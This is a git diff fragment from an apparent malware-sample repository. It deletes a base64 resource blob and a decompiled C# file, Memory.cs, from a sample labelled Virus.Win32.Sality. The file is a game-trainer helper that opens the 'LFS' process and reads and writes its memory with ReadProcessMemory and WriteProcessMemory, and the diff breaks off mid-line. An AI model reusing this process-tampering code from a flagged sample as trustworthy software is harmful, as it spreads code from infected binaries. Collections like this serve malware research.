AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAPAAwMAAAAAAAAAABgf/wADwAMDAAAAAAAAAAAYH/8AA8ADAwAAAAAAAAAAGB//AADAAAMAAAAAAAAAABgf/wAAwAADAAAAAAAAAAAYH/8AAMAAAwAAAAAAAAAAGB//AAAAAAAAAAAAABgAABgf/wAAAAAAAAAAAAAYAAAYH/8AAAAAAAAAAAAAGAAAAB//AwAAAAAAAAAAABgAAAAf/wMAAAAAAAAAAAAYAAAAH/8DAAAAAAAAAAAAGAAAAB//AwAAAAAAAAAAABgAAAAf/wMAAAAAAAAAAAAYAAAAH/8DAAAAAAAAAAAAHwAAAB//AwAAAAAAAAAAAB8AAAAf/wAAAAAAAAAAAAAAAAAAH//4AAAf////////wAAf////+AAAH////////8AAH///+AAAAAAAAAAAAAAAAAAAH/gAAAAAAAAAAAAAAAAAAB/4AAAAAAAAAAAAAAAAAAAfwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAB/AAAAAAAAAAAAAAAAAAAAfwAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAB/AAAAAAAAAAAAAAAAAAAAfwAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAB/AAAAAAAAAAAAAAAAAAAAfwAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAP/AAAAAAAAAAAAAAAAAAAD/wAAAAAAAAAAAAAAAAAAA//gAAAAAAAAAAAAAAAAAA//4AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAAAAAAAAD//gAAAAAAAAAAAAAAAAA///4AAAAAAAAAAAAAAAAAP//+AAAAAAAAAAAAAAAAP////gAAAAAAAAAAAAAAAD////4AAAAAAAAAAAAAAAA/////wAAAAAAAAAAAAAD//////8AAAAAAAAAAAAAA///////AAAAAAAAAAAAAAP//////8AAAAAAAAAAAAP////////AAAAAAAAAAAAD/////////wAAAAAAAAAAH/////////8AAAAAAAAAAB/////////4AAAAAAAAAAAf////////+AAAAAAAAAAD//////////gAAAAAAAAAA//////////4AAAAAAAAAAP//////////wAAAAAAAAD///////////8AAAAAAAAA/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////ws= - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/Memory.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/Memory.cs deleted file mode 100644 index 06ed83de..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/Memory.cs +++ /dev/null @@ -1,358 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: LFSTweak.Memory -// Assembly: LFSTweak, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C77C2A36-D42F-41E0-A8F4-0FAB7DAB4ECE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; - -namespace LFSTweak -{ - [StandardModule] - internal sealed class Memory - { - public const int PROCESS_VM_READ = 16; - public const int PROCESS_VM_WRITE = 32; - public const int PROCESS_VM_OPERATION = 8; - public const int PROCESS_QUERY_INFORMATION = 1024; - public const int PROCESS_READ_WRITE_QUERY = 1080; - public const int PROCESS_ALL_ACCESS = 2035711; - - [DebuggerNonUserCode] - static Memory() - { - } - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern long ReadProcessMemory( - IntPtr hProcess, - int lpBaseAddress, - ref int lpBuffer, - int nSize, - int lpNumberOfBytesWritten); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern long ReadProcessMemory( - IntPtr hProcess, - int lpBaseAddress, - ref byte[] lpBuffer, - int nSize, - int lpNumberOfBytesWritten); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern long WriteProcessMemory( - IntPtr hProcess, - int lpBaseAddress, - byte[] lpBuffer, - int nSize, - int lpNumberOfBytesWritten); - - [DllImport("KERNEL32", EntryPoint = "WriteProcessMemory", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern float WriteMemorySingle( - int Handle, - int Address, - ref float Value, - int Size = 4, - ref int BytesWritten = 0); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr OpenProcess( - uint dwDesiredAccess, - int bInheritHandle, - uint dwProcessId); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern bool CloseHandle(IntPtr hHandle); - - public static int Game_Hwnd() - { - bool flag = false; - Process[] processesByName = Process.GetProcessesByName("LFS"); - int index = 0; - int id; - if (index < processesByName.Length) - { - id = processesByName[index].Id; - flag = true; - } - int num1; - if (flag) - { - num1 = id; - } - else - { - int num2 = (int) Interaction.MsgBox((object) "Couldn't find Game"); - ProjectData.EndApp(); - } - return num1; - } - - public static void WriteMemory(int Address, int Value, int Size) - { - try - { - int num = (int) Memory.OpenProcess(1080U, 0, checked ((uint) Memory.Game_Hwnd())); - byte[] bytes = BitConverter.GetBytes(Value); - Memory.WriteProcessMemory((IntPtr) num, Address, bytes, Size, 0); - Memory.CloseHandle((IntPtr) num); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void WriteMemory(int Address, byte[] Value) - { - try - { - int num = (int) Memory.OpenProcess(1080U, 0, checked ((uint) Memory.Game_Hwnd())); - Memory.WriteProcessMemory((IntPtr) num, Address, Value, Value.Length, 0); - Memory.CloseHandle((IntPtr) num); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void WriteMemory(int Address, byte[] Value, int Offset, int Length) - { - try - { - int num1 = checked (Length - 1); - int num2 = 0; - while (num2 <= num1) - { - Memory.WriteMemory(checked (Address + num2), (int) Value[checked (num2 + Offset)], 1); - checked { ++num2; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void WriteMemory(int Address, string Value) - { - try - { - int length = Value.Length; - int num = checked (length - 1); - int index = 0; - while (index <= num) - { - Memory.WriteMemory(checked (Address + index), Strings.Asc(Value[index]), 1); - checked { ++index; } - } - Memory.WriteMemory(checked (Address + length), 0, 1); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void WriteMemory(int Address, double Value) - { - try - { - byte[] numArray = new byte[8]; - byte[] bytes = BitConverter.GetBytes(Value); - int index = 0; - do - { - Memory.WriteMemory(checked (Address + index), (int) bytes[index], 1); - checked { ++index; } - } - while (index <= 7); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void WriteMemorySingle(int Address, float Value) - { - try - { - int hHandle = (int) Memory.OpenProcess(1080U, 0, checked ((uint) Memory.Game_Hwnd())); - int Handle = hHandle; - int Address1 = Address; - ref float local1 = ref Value; - int num1 = 0; - ref int local2 = ref num1; - double num2 = (double) Memory.WriteMemorySingle(Handle, Address1, ref local1, BytesWritten: (ref local2)); - Memory.CloseHandle((IntPtr) hHandle); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void ReadMemory(int Address, ref double Value) - { - try - { - byte[] numArray = new byte[8]; - int index = 0; - do - { - int num; - Memory.ReadMemory(checked (Address + index), ref num, 1); - numArray[index] = checked ((byte) num); - checked { ++index; } - } - while (index <= 7); - Value = BitConverter.ToDouble(numArray, 0); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void ReadMemory(int Address, ref int Value, int Size) - { - try - { - int num = (int) Memory.OpenProcess(1080U, 0, checked ((uint) Memory.Game_Hwnd())); - int lpBuffer; - Memory.ReadProcessMemory((IntPtr) num, Address, ref lpBuffer, Size, 0); - Value = lpBuffer; - Memory.CloseHandle((IntPtr) num); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void ReadMemory(int Address, ref byte[] Value, int Length) - { - try - { - byte[] numArray = new byte[checked (Length - 1 + 1)]; - int num1 = checked (Length - 1); - int index = 0; - while (index <= num1) - { - int num2; - Memory.ReadMemory(checked (Address + index), ref num2, 1); - numArray[index] = checked ((byte) num2); - checked { ++index; } - } - Value = numArray; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void ReadMemory(int Address, ref string Value) - { - try - { - string empty = string.Empty; - int num = 0; - int CharCode; - do - { - Memory.ReadMemory(checked (Address + num), ref CharCode, 1); - if (CharCode != 0) - empty += Conversions.ToString(Strings.Chr(CharCode)); - checked { ++num; } - } - while (CharCode != 0); - Value = empty; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void ReadMemory(int Address, ref string Value, int Length) - { - try - { - string empty = string.Empty; - int num1 = checked (Length - 1); - int num2 = 0; - while (num2 <= num1) - { - int CharCode; - Memory.ReadMemory(checked (Address + num2), ref CharCode, 1); - empty += Conversions.ToString(Strings.Chr(CharCode)); - checked { ++num2; } - } - Value = empty; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static object ReadByte(int Address) - { - int num; - Memory.ReadMemory(Address, ref num, 4); - return (object) num; - } - - public static object ReadByte2(int Address) - { - int num; - Memory.ReadMemory(Address, ref num, 1); - return (object) num; - } - - public static void WriteByte(int Address, int Value) => Memory.WriteMemory(Address, Value, 4); - - public static void WriteByte2(int Address, int Value) => Memory.WriteMemory(Address, Value, 1); - - public static void ReadSingle(int Address, ref float Value) - { - try - { - byte[] numArray = new byte[8]; - int index = 0; - do - { - int num; - Memory.ReadMemory(checked (Address + index), ref num, 1); - numArray[index] = checked ((byte) num); - checked { ++index; } - } - while (index <= 7); - Value = BitConverter.ToSingle(numArray, 0); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } -} diff --git 